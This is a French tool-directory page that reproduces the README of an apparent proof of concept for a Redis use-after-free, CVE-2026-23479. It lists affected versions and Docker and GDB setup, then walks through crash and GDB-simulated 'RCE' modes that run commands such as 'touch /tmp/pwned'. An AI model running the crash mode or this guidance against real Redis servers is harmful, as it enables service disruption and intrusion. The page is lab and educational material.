Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
Analyse des VulnérabilitésExploitationDébogueursApprentissage et ÉducationSécurité des Bases de DonnéesExploitation de BinairesLabs et Pratique
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

Preuve de concept avec exploitation assistée par GDB (usage éducatif / laboratoire uniquement)

Voir le dépôt
27il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🔥 CVE-2026-23479 – Preuve de concept Redis UAF

License Python Docker CVE PoC

Use-After-Free dans unblockClientOnKey() de Redis conduisant à une exécution de code à distance
Preuve de concept avec exploitation assistée par GDB (usage pédagogique / laboratoire uniquement)


📖 Vue d'ensemble

CVE-2026-23479 est une vulnérabilité critique de type Use‑After‑Free (UAF) dans les versions 7.2.0 à 8.6.2 de Redis.
Le bug se situe dans unblockClientOnKey(), qui appelle processCommandAndResetClient() sans vérifier sa valeur de retour.
Si le client est libéré pendant cet appel (par exemple à cause d'une éviction), l'appelant continue d'opérer sur un pointeur pendant → UAF.
Un attaquant capable de façonner le tas après la libération peut parvenir à une exécution de code arbitraire.

Ce dépôt fournit un PoC assisté par GDB qui :

  • Déclenche le chemin de code vulnérable exact
  • Prouve l'UAF en provoquant délibérément un plantage (appel à freeClient())
  • Démontre une exécution de commande arbitraire en injectant un appel system() au même point

⚠️ Important : il ne s'agit pas d'un exploit armé. GDB est utilisé dans un conteneur Docker privilégié pour simuler ce qu'un véritable attaquant pourrait accomplir après avoir réussi à exploiter l'UAF.
À utiliser uniquement dans votre propre laboratoire ou sur des systèmes pour lesquels vous avez l'autorisation explicite de tester.


✨ Fonctionnalités

  • 🧪 Quatre modes de fonctionnement – crash, gdb, rce, full
  • 🐳 Basé sur Docker – aucune installation d'un Redis vulnérable sur l'hôte requise
  • 🔍 Détection automatique de version – vérifie si la cible est dans la plage affectée
  • 🧹 Auto‑nettoyage – tue les sessions GDB obsolètes avant chaque exécution
  • 🎯 Nom de conteneur flexible – passez n'importe quel conteneur via --container
  • 📦 Fichier Python unique – aucune dépendance au-delà de la bibliothèque standard

🧠 Fonctionnement

  1. Bloquer une victime – une commande XREAD BLOCK fait attendre le client pour des données de flux.
  2. Attacher GDB – GDB s'attache au processus Redis (pid 1) dans le conteneur.
  3. Définir un point d'arrêt sur processCommandAndResetClient – la fonction appelée lorsque le client bloqué est retraité.
  4. Déclencher le déblocage – un XADD sur le même flux réveille la victime.
  5. Sur l'atteinte du point d'arrêt :
    • mode gdb : appelle freeClient($rdi) → provoque délibérément un SIGSEGV → prouve l'UAF.
    • mode rce : appelle system("votre commande") → exécute des commandes shell arbitraires en tant qu'utilisateur Redis (root par défaut).
  6. Vérification – le script vérifie si le fichier de preuve attendu existe (RCE) ou si Redis a planté (UAF).

Le point d'arrêt se déclenche à chaque fois qu'un client bloqué est débloqué, montrant que le même chemin de code qui contient l'UAF permet également l'exécution de code.


📋 Versions affectées

BranchePlage vulnérable
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

Le script analyse automatiquement la version de Redis et indique si elle est vulnérable.


🐳 Prérequis

  • Docker installé et en cours d'exécution
  • Python 3.8+ (seule la bibliothèque standard est utilisée)
  • Une image Docker Redis 8.6.2 qui utilise apt (par exemple l'image officielle redis:8.6.2)
  • Le conteneur doit être créé avec --privileged (requis pour ptrace)

⚙️ Installation

1. Cloner le dépôt

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. Démarrer un conteneur Redis vulnérable

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. Installer GDB dans le conteneur

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. Vérifier

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # doit retourner PONG

🚀 Utilisation

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

Modes

ModeDescription
crashTente de déclencher l'UAF via la pression mémoire (pas besoin de GDB). Redis peut planter, sans garantie.
gdbAttache GDB et appelle freeClient() au point d'arrêt → force un SIGSEGV (prouve l'UAF).
rceAttache GDB et appelle system(cmd) au point d'arrêt → exécute une commande shell dans le conteneur.
fullExécute crash d'abord ; si Redis ne plante pas, bascule sur gdb.

Options

ArgumentDéfautDescription
target(requis)Adresse IP du serveur Redis
-p, --port6379Port Redis
-m, --modefullL'un des modes crash, gdb, rce, full
--containerenv-redis-vuln-1Nom du conteneur Docker
--cmdid > /tmp/pwned_by_cveCommande à exécuter en mode rce

📚 Exemples pas à pas

Remarque : toutes les commandes sont exécutées depuis la machine hôte, pas à l'intérieur du conteneur Docker.

1. Prouver l'UAF via GDB

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

Sortie attendue (extrait)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis va planter après l'erreur de segmentation.

Redémarrez le conteneur :

docker start redis-vuln-local

2. Obtenir une exécution de code à distance (RCE)

Redémarrez Redis pour garantir un état propre :

docker restart redis-vuln-local

Exécutez l'exploit :

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

Vérifiez le fichier de preuve :

docker exec redis-vuln-local ls -l /tmp/pwned

En cas de succès, le fichier existera, prouvant que :

system("touch /tmp/pwned");

a été exécuté dans le conteneur Redis.


3. Déclencher l'UAF sans GDB (pression mémoire)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Si Redis se termine de manière inattendue (le conteneur n'est plus en cours d'exécution), l'UAF a probablement été déclenché.

Redémarrez-le avec :

docker start redis-vuln-local

4. Exécuter le test complet

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

Ce mode :

  1. Tente le plantage par pression mémoire.
  2. Bascule sur la méthode assistée par GDB si Redis survit.

📸 Exemple de sortie (mode RCE)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned
Télécharger l’outil